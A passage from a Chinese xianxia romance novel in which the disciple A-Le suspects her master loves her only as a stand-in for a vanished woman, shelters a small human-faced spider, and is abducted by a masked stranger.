可能是大殿里火光冲天,引得外面跑进来一批混血者,看到联盟者本想提剑而上,待看到阿乐又纷纷转头便跑,“她体内的浮生烬要控制不住了,快跑!”
“你杀我们干嘛?我们也是受害者!你要恨就恨你不遵守天规的爹娘!”联盟者中不知谁咒骂了一句,这简直就是故意。
阿乐大口喘着气,五官皱在一起,她踉跄了一下,半跪着才勉强撑起身体。
“你看看你自己现在这个样子,混血者就是该死!混血者自己该死还不算,还要扯着我们一起死,你们的爹娘就不能控制一下自己吗?都生出一些什么玩意儿!”
联盟者中看阿乐倒下的身体,咒骂声更大。
“混血者的命运就是该死,不是被我们杀死也得是被老天杀死——”
“阿乐,你别听他们胡说——你看我——你看看我!”叶敬亭向着阿乐飞奔而去,却只见眼前一道金光四起——
“啊——”随着一身怒吼,山顶尘烟冒起,震得整座清灵山一阵颤抖。
清灵殿是用水晶和大理石炼制的材料建成的,可以说是坚硬无比,现在已然是半壁废墟。
“阿乐——”
一个被血染红的人从半空中坠下。
被叶敬亭接住,落稳在地上。
阿乐身体不再滚烫,倒是有几分冰凉,眼眸恢复原状。
双手无力耷拉着,血水顺着手掌不断滴落。
“阿乐——”叶敬亭向她身体输送着灵力,想让她冰凉的身体暖起来。
却没发现他自己身体也被浮生烬震得皮开肉绽。
阿乐看着他被血染红的衣襟,皱着眉眼轻声道:“师兄,对不起——”
“咳咳——”血水顺着她嘴角流下。
“阿乐,你别说话——我带你去找师尊!”叶敬亭哽咽道,他感觉到怀里的女子正在一点点消失,手上输送更多灵力,却也无济于事。
阿乐面色宛如白纸,她轻轻摇摇头,道:“师兄,别难过,我去找阿娘阿爹了——”
待叶鹤、叶展云、叶子清在这片废墟中找到叶敬亭时,他瘫坐在地上犹如一尊石像一动不动。
无论如何唤他,他都不说话,紧紧抱着怀里的女子,面无表情,任由身上的伤口流着血,好似这样他才能好受一些。
这一场清灵殿变故,也没能彻底平息反混血者联盟的这场风波,反而被他们经常拿出来做典型案例,直到叶平安带着剩下的混血者到大泽陆那边的一处偏僻之地“云雾村”住下,再也没有出来过,这才慢慢让那群联盟者闭嘴。
62. 原来如此
清灵山。
这几日,阿乐都有些心神不宁,她总觉得自己好像错过了什么大事件,却又死活想不起来到底是错过了什么。
师父也是,布置了一堆功课就消失了,叶鹤、叶展云也不知道去哪里。
唯有叶枕书还可以逗乐几句。
他也是每日匆忙,对叶敬亭说的每一个字都记在心里,严格遵守。比如叶敬亭说学习不只是修炼法术,还有很多心法也要一起修炼,不然只有修为提升,若心对道法不够坚定,也是枉为修仙者。
在阿乐看来这也就听听算了,叶枕书可是在他随身带的小本子上仔细记下,每日都到书房来学习,看着他不大的年纪,认真的表情,阿乐都不忍心再来逗他了。
倒是叶珊珊每日都来得勤。
此时两人坐在一颗大树上,看着远处夕阳落下。
“敬亭师叔怎么最近老是不在啊?”叶珊珊抱着手气鼓鼓的坐在在阿乐身旁。
“他们老人家当然是有事要忙呗—”阿乐扯下一片树叶含在嘴里,尝试想要吹响,却难听得要命,又舍不得把树叶丢了,干脆含在唇瓣上。
“我总觉得这次从大泽陆回来,有些奇怪——”叶珊珊道。
“什么奇怪?”阿乐道。
“你和敬亭师叔怪怪的。”叶珊珊侧过头,忽然靠近,眯着圆眼看着阿乐。
阿乐假装不明白转过头道:“什么啊?”
“听说你在大泽陆受伤了,敬亭师叔寸步不离守着你!”叶珊珊道,语气神秘兮兮。
“对啊,徒弟受伤了,师父当然有义务照顾啊!”阿乐一本正经回道。
其实她自己也感觉到自从那天后,两人之间似乎多了一些微妙的东西,总是不自觉想起叶敬亭在唇齿间留下的柔软。
可叶敬亭好似无事发生,仍然对她关爱有加。可能——也许——那天就是在帮她渡气吧!
“那你脸红什么?”叶珊珊指着她脸大声道,“你脸红了!果然有事!”
阿乐一阵慌乱,捂着脸道:“太阳太大,热的不行啊!”
叶珊珊更来劲了,“太阳都落山了,哪来的太阳?”
两人嬉笑闹了一阵,叶珊珊突然正经道:“我明白了!”
“明白什么?”阿乐停下打闹,不解道。
叶珊珊拉过阿乐,往清灵山深处跑去。
两人七拐八弯,走过一条小道,又沿着一条小溪走了一段路,叶珊珊这才停下来。
“叶珊珊,你到底要带我去哪里啊?”阿乐道,这绕那么多路是要到哪里去?
“到了,到了。”叶珊珊回道,又自言自语在树丛中翻找着什么:“我记得就是在这里啊——”
阿乐看着她在地上一阵翻找,也不知在找什么,无聊的踢着石头玩。
“找到了——就是这个!”叶珊珊不知从哪里翻找出一卷画轴,外面还用一层水晶膜包裹着,防水防潮还防虫,看来主人挺爱护这画轴。
“这是什么画?”阿乐道。
叶珊珊随即打开卷轴,阿乐凑上来打量了下,却发现这副画有好几处已经残破,看这参差不齐的缺口,应该是被撕破的。
从服饰线条来看画上应是一名女子,可这女子却少了半张脸,另外半张却是被撕破了。
“这是谁?”阿乐问道,仔细端详着这画中的女子,既然有几分熟悉的感觉!
“你不觉得这个人有些眼熟吗?”叶珊珊眨眨眼,看看画又看看阿乐。
“是好像在哪里见过——”阿乐道。
“你不觉得这画中的人很像你吗?”叶珊珊直接说道。
阿乐诧异,又仔细看了看画,这衣裳不过就是清灵山弟子会穿的款式,仅看着半张脸确实与自己有几分相似。
“是有点吧——”阿乐道,“这到底是谁?”
“那这就对了!”叶珊珊合起画卷,一副笃定的模样。
阿乐听得云里雾里,有些不耐烦,揶揄道:“你不说我可就走了。”
随即转身装作要离开,叶珊珊这才拉住她把自己的猜测说了一遍。
这幅画是早之前被师尊从叶敬亭屋子里扔出来的,叶珊珊冒着极大危险把这画“救”了下来,也不敢拿去其他地方,就一直藏在这里,她一直觉得这个画上的人一定是叶敬亭的心上人,本想找到另外那半张纸复原了画像,修补好了再送还回去的,时间一久便自己也忘了。
直到这次发现叶敬亭对阿乐的关心似乎已经超过了师徒,这才想起来这幅画。
“所以你是说,正因为我长得像这个画上的女子,师父才愿意收我为徒,才对我——特别好的?”阿乐道。
她虽然觉得这个想法实在离谱,可又似乎能对上!
阿乐心里好似下了一场大雨,原先装在里面的东西被大雨冲刷得干干净净,有些冰凉又感觉有些空荡荡。
“嗯嗯,你要知道每年来清灵山想拜敬亭师叔为师的人可多了,他为何偏偏选了你呢?还有,你不觉得他对你似乎太过于包容了吗?我很少见到他对谁这样过!”叶珊珊道。
“可能我们有缘吧!我之前还捡到过他的剑。”阿乐心里有些难受,试图为自己找一些理由。
“你说的是‘寒冰’剑?”叶珊珊瞪圆了眼睛,露出难以置信的表情。
“对啊!”阿乐如实道。
“那可是敬亭师叔练得最好的仙剑,不但对主人忠心还会跟随主人的心意自主打斗,换句话说,那把剑都快成仙了,怎么可能会丢?还被你捡到?”叶珊珊道。
阿乐也曾经疑惑过这个问题,可她就是捡到了呀!万一就是丢了呢。
“那就只有一种情况,就是敬亭师叔思念画上这个女子,你们又长得有几分相似,就自然而然把你当成了她!”叶珊珊分析得头头是道,阿乐竟无法反驳。
“那这个画上的女子去哪里了呢?”阿乐道。
“传闻说下落不明,敬亭师叔找了十年都没有找到,很可能已经不在这世间了。”叶珊珊道,看来她收集了叶敬亭不少消息。
阿乐心中又下了一场大雪,她现在感觉手脚有些冰冷,心里插进了几截冰锥。
“阿乐,你在哪里?”正在这时,收到叶敬亭发来的密信。
阿乐此时有种冲动,想要当面问清楚,这画上的人是谁?叶珊珊的推测是不是真的?
“师父,什么事?”阿乐回道。
“你没事吧?”叶敬亭道,阿乐也不知道他在担心什么,在清灵山能有什么事?
“你来藏书阁,我有事找你。”叶敬亭道。
阿乐本想要拒绝,她此时此刻心里实在是乱成一团麻,真的如叶珊珊所说吗?可是——叶敬亭怎么看也不像是会做出这种荒唐事的人啊。
告别了叶珊珊,阿乐怀着忐忑又难以置信的心情飞身前往藏书阁。
藏书阁大门敞开,看来叶敬亭已在里
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面了。
大力深吸几口气,阿乐甩了甩头,尽力平复了心情。
刚踏进大门,阿乐身形便怔住,呆呆站在原地,她正在看着眼前的男子。
叶敬亭背对着她正在书架上翻找什么,乌黑的头发垂在脑后,一身白衣胜雪,这挺拔的背影与梦中无数次出现的那个人在眼前重叠。
阿乐愕然,低声唤了一声:“师父——”
“阿乐你进来,我有重要的事情要——”叶敬亭转过身,看到阿乐呆在原地,上前一把拉过她,“你坐下,我有重要的事情跟你说。”
阿乐收回手,捏着残留在手上的余温,乖巧点点头。
叶敬亭却放下手中的书,伸手往阿乐额头上探去,“阿乐,你是不是生病了?脸怎么这样红?”
阿乐连忙摆摆手,“师父,我没事,应该是刚才来得太急了,热的!师父,你方才说要说什么重要的事?”
叶敬亭道:“你还记得我教过你清心诀吗?”
阿乐点点头,这是她第一节课叶敬亭就让她一定牢记的,其实她早就会了,但叶敬亭再三叮嘱,又认真练习了很久。
“你要是觉得身体不舒服的时候,一定要多念几遍。”叶敬亭嘱咐道。
阿乐点点头。
“还有我之前让你练习的心法你都在练吗?”叶敬亭道。
“嗯,帮我控制浮生烬的,都有在练习啊。”阿乐道。
“你伸出手来,”叶敬亭把自己左手举在半空中。
阿乐缓缓举起自己右手,被叶敬亭一把握住,包裹在他手掌中。
叶敬亭闭上眼,灵力透过他掌心传到阿乐手上,半晌他睁开眼道:“无论我何时找你,你一定要回复我。”
阿乐不知道叶敬亭怎么了,是发生了什么事吗?
“师父,发生了什么事吗?”阿乐有些担心道,叶敬亭这些举动是在担心她出事吗?
叶敬亭往前走了半步,似觉得不妥,又退回原位,道:“外面是出了一些事情目,目前尚在控制内。阿乐,你一定答应我,就呆在清灵山好不好!”
看着叶敬亭双眸流光闪动,阿乐心跳又不由自主加快,伸手往下压了压。
“你怎么了?是身体不舒服吗?脑子里有人在跟你说话?”叶敬亭伸手按在阿乐手背上,一同感受着心跳加速。
心跳得更快了,“扑通——扑通——扑通——”
叶敬亭怔了一会,须臾间,把阿乐拉入怀里,紧紧抱着。
阿乐耳边传来他急促的呼吸,沙哑的声音就在耳旁:“阿乐,答应我,有任何异常立马传密信给我,好吗?”
“师父——你怎么了?”阿乐被抱得有些难受,想抬起头来又被按入怀里。
“我——我不能再失去你了——”叶敬亭喃喃自语。
这句话阿乐却听得清晰,心里的那场大雪迅速结成冰,心道:“他果然把我当成了别人。”
阿乐忘了自己是怎么回去住处的,那副画轴上的半幅画,还有叶敬亭对他一直以来的关心、还有今天说的话,全部交织在一起。
她明白了,她就是那幅画的替代品。
原来如此,原来她只是一个替代品,一个住在叶敬亭心里的人的一个影子。
月光皎洁明亮,星空闪烁,她却再无心情多看一眼。
她现在宛如坐在一个冰窖里,心疼得好像被人剜走了一半,她无能为力只能默默掉眼泪。
63. 山竹
阿乐没有点灯,坐在窗边发呆,屋里与屋外连成一片黑暗。
她现在的脑袋里被塞的满满当当。
那晚她睁开眼看到叶敬亭的脸尽在咫尺。睫毛轻刷着脸颊,舌头酥麻的触感还历历在目,她回忆着他们的第一次见面,帮她暴打妖魔族,再到去泗州抢亲,还有“诱拐”她到清灵山做了他的徒弟——
阿乐自己一人坐着又笑又哭,过了好一阵,缓过神来,才发现,原来自己早已没有把他仅仅当做师父——
可是梦里的“师兄”又是谁?他挺拔的背影为何与师父如此相似?
手按住太阳穴轻轻揉着,感觉脑袋想得快要冒烟了。
正在想着要不要出去透透气,一阵清风吹来周身清爽,亥时还未到,反正也坐不住,与其在这胡思乱想,不如就去修炼场练习下剑术吧!
才走出房屋没多远,便看到前边火光一片,这大晚上的点那么多火把要去干嘛?
火光在迅速向阿乐靠近,她这才听清楚了:“快,在那边,我看到了!”
“没有啊!你看看那边树丛,那可是人面蜘蛛,不能让她跑了!”
阿乐心中嘀咕道,“人面蜘蛛?这一听就是妖物!此等妖物怎么会进得清灵山?”
火光在靠近,她闪到一旁,忽然,一阵窸窸窣窣声音传来,定睛一看,有一排草丛轻摇正经过她前方,伸手拨开草丛——
这时,火光正好来到阿乐身旁,为首的人举起火把仔细辨认,道:“原来是阿乐师姐!你有看到一只人面蜘蛛吗?”
“什么人面蜘蛛啊?”阿乐道。
“你那么晚了怎么还在外面乱逛?”有人问道。
“师父布置了些功课,还没完成呢。”面对这些不怀好意的人,只要搬出叶敬亭那就好办多了。
“啊,原来如此啊!那你多加小心啊!”
“好好,你们辛苦了!”
双方又客气了几句,那群人便走了。
待火光看不到了,阿乐才打开袖口,一只小蜘蛛露出头,她头上还顶着一张人脸,看上去就是一个小孩子!
“你就是人面蜘蛛?”阿乐看她瞪着圆眼既有几分亲切,用指头戳了戳她毛茸茸的腿。
“阿乐,我是山竹啊!”小蜘蛛跳上她手臂,用极细的声音道。
“你怎么会知晓我的名字?”阿乐惊道,莫非这果然是妖物?有些懊悔,自己就不该动恻隐之心救下她。
山竹又左右端详了下阿乐,拍了下脑袋,这过去也有十年了,自己都差点忘了,立马道:“方才他们就是这样叫你的呀!”
阿乐点点头,这小家伙还挺聪明,把她放在肩头,左右看了看。
刚才只有一堆火光,现在又增加了几堆,看来找山竹的人变多了,这个地方不安全。
思来想去,还是去后山为好,那里一般是不会有人去的,更何况是这个时辰。
把山竹小心放回乾坤袋,便飞身而去。
经历过上次邴哲私会阿乐之后,后山被叶鹤彻底探查过一遍,结界口令也换了。
不过这都难不倒叶珊珊,她还是把口令偷偷记下了。
片刻后,阿乐带着小蜘蛛出现在后山。
左右看了一圈,确定安全,这才把小蜘蛛放出来。
“好了,这里没有人,不过——”阿乐食指大拇指捏拢,捏起山竹的一只腿放在眼前继续道:“你要是被我发现有什么坏点子,我立马就把你——”说着对着脖子做了一个“抹脖子”的手势。
山竹乖乖点点头,用头亲昵的蹭了蹭阿乐,看得出来她很开心。
阿乐以为她是感谢自己救了她,其实山竹是开心又见到阿乐了。
山竹想起这次她偷跑出来,冒着那么大风险来找阿乐,是要跟她说外面有危险。
“阿乐,你能答应我一件事吗?”山竹道。
“什么?”阿乐道。
“就好好呆在清灵山,不要出去。”山竹满脸认真,真诚的看着阿乐。
阿乐不解,为何一只素不认识的人面蜘蛛要对自己说这些。
“小山竹,你来清灵山做什么?我为何要听你说的话呢?”阿乐道。
山竹急得团团转,对,阿乐已经记不得自己了,现在在阿乐的记忆里他们是第一次见面,那要怎么说她才能相信自己呢?
想起出门前夜郎说过,实在不行就装可怜。
“我在很小的时候就被拍花子带走,等再醒来就变成了这样子的妖物,但是我胆子小,没有做过坏事!在十年前遇到一个上神,她解救了我,她说她住在清灵山。我不为其他,我就是想要提醒她不要出去。”山竹想起往事,眼眶含泪,她是真心想要感谢阿乐。
“噗嗤”一声,阿乐笑了起来,她本想说:“那你想要感谢的这个上神也不是我呀,总不能病急乱投医随便抓一个人就让她不要出去吧!”话都到嘴边了,又转念一想,她有这份感恩的心已实属难得,难道还要她冒着生命危险出去一个一个找吗?反正自己也是清灵山的弟子,就承接了她这份恩情又为何不可?
“好的小山竹,我知道了!”阿乐道,说罢又捏了捏她毛茸茸的腿。
听到这句话,山竹高兴的原地打转,她果真听她说的话了。
“可是这个地方不是很安全,我送你出清灵山吧!”阿乐道。
山竹点点头,随即爬上她手臂,两人正准备离开。
夜空中荧光点点,飞来一群闪着荧光的灵蝶。
这群蝴蝶分为红蓝两色,通体散发着幽幽柔光,扑棱着翅膀在夜色中极其好看。
阿乐和山竹站在原地呆呆看着,“哇,真好看!”
阿乐情不自禁伸出手,一只红蝶停在了她指尖,一只蓝蝶悠悠飞来,停在了山竹脸上。
两人看着眼前这美丽神秘的蝴蝶,仿佛被下了定身咒,定在原地不敢动弹,生怕惊扰了这小精灵。
忽然,阿乐脑海中闪过几个不熟悉的画面,她看到一个与自己长得一模一样的人从一个大蜘蛛身上一跃而下,下方有一男子正张开双臂接住她,那个男子满脸宠溺,两人对视之间充满喜爱之情——
山竹一惊,慌乱中赶走了停在身上的灵蝶。
她听叶珊珊说过,后山有一群灵蝶,可以让两人感同身受,甚至是对方的记忆。
阿乐眨眨眼,霎时间明白了,原来山竹是把她认错了,认成了那个女子。
下一瞬,感觉从半空中跌落,砸落入了大海之中。
看来那个画上的女子确实就是叶敬亭心中之人,自己也确实是——
山竹慌张道:“阿乐,你别瞎想,那些都是虚幻的东西。”
阿乐哈哈笑出声,摆摆手:“我刚还没来得及感受下,灵蝶就飞走了
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,真是可惜可惜。”
山竹信以为真,暗自松了一口气。
把山竹安全送出清灵山,阿乐收起笑颜,垂下眼眸,叹道:“哎——”
蹲坐在地上怔怔发呆,气温凉了下来,几滴飞雨降下,阿乐回过神,这天色也不早了,早该过了亥时啊,可这钟声却未听到。
反正也睡不着,不如前去看看。若是被她逮到是哪位今日当值的弟子失了职,借此机会威胁两句,说不定还能套到些这女子的信息。
敲钟的地方在清灵山的东南方向,那里有一个峡谷,刚巧可以放大钟声。
钟楼上灯火通明,不像是没有人当值的样子。
阿乐飞身上楼,钟楼大门敞开,里面却空无一人。
这有些不对劲,那若真是失职,那这灯是谁点亮的?这门又是谁打开的?
不会是出了什么事吧?
阿乐绕着钟楼仔细寻找了一圈,最后停在那口大钟前。
上下打量了一下,这大钟高约有五尺,高高悬挂在楼顶,钟口正对的方向下是空的,一直到下一层。左右查看也没有什么可疑之处啊。
“叮”一声滴水声从钟口处传来,阿乐闻声寻去,只看到一滴红色水滴落下,转过头向上看去,一具尸体赫然就在眼前。
尸体被白线绑住挂在大钟里,看样子已经去世一段时间了。
“龙知乐——”身后传来陌生的声音,却喊着自己的真名。
“谁?”阿乐诧异,转身看去。
“不过短短数十载,就忘记我了?”
说话的人一身白衣,脸上带着一个白面具,面具没有表情,只在眼睛的地方有两个眼缝。
“你是谁?怎么知道我的名字?”阿乐祭出“雪落”握在手里,警觉的看着眼前这名白衣人。
不管他是谁,只要这人是他杀的,就一定不是好人。
白衣人看着阿乐,往前走了几步,道:“好香啊——”
阿乐往后退了一步,再往后没有路了,只好换了一个方位与他保持着距离。
“你到底是谁?”阿乐又重复了一遍,她心中冒出一个预感:难道是把她当做那个女子了?
“我没认错人,你是龙知乐,我找的一直都是龙知乐。”白衣人慢慢悠悠说道。
阿乐心中暗道不好,他压迫感太强了,不是她能对付的,悄悄给叶敬亭发出一条密信。
白衣人冷笑了一下,对着阿乐道:“你不想看看那个画上的女子到底是谁吗?”
阿乐愕然,这他怎么知道的?
“我不知道你在说什么。”
“没关系,你马上会知道我在说什么!”白衣人淡淡道:“他来了——时间刚刚好!”
“什么——”阿乐最后一个字还卡在嗓子眼,只看到一道白影飘过,白衣人迎面而来,本想举起“雪落”防御,发现双手不听使唤,白影眨眼间已来到眼前。
耳边只听到“阿乐——”两个字,是叶敬亭的声音,想扭头看一眼,已陷入一片刺眼的光。
叶敬亭收到阿乐的密信后极速赶到,还是只能眼睁睁看着阿乐被白衣人拖走。
霎时间,空中只剩下一个黑洞,叶敬亭催动灵力,“寒冰”感应到阿乐危险,率先冲入黑洞,硬生生拖延了时间,却也转瞬即逝,叶敬亭眼睁睁看着黑洞消失。
“阿乐——”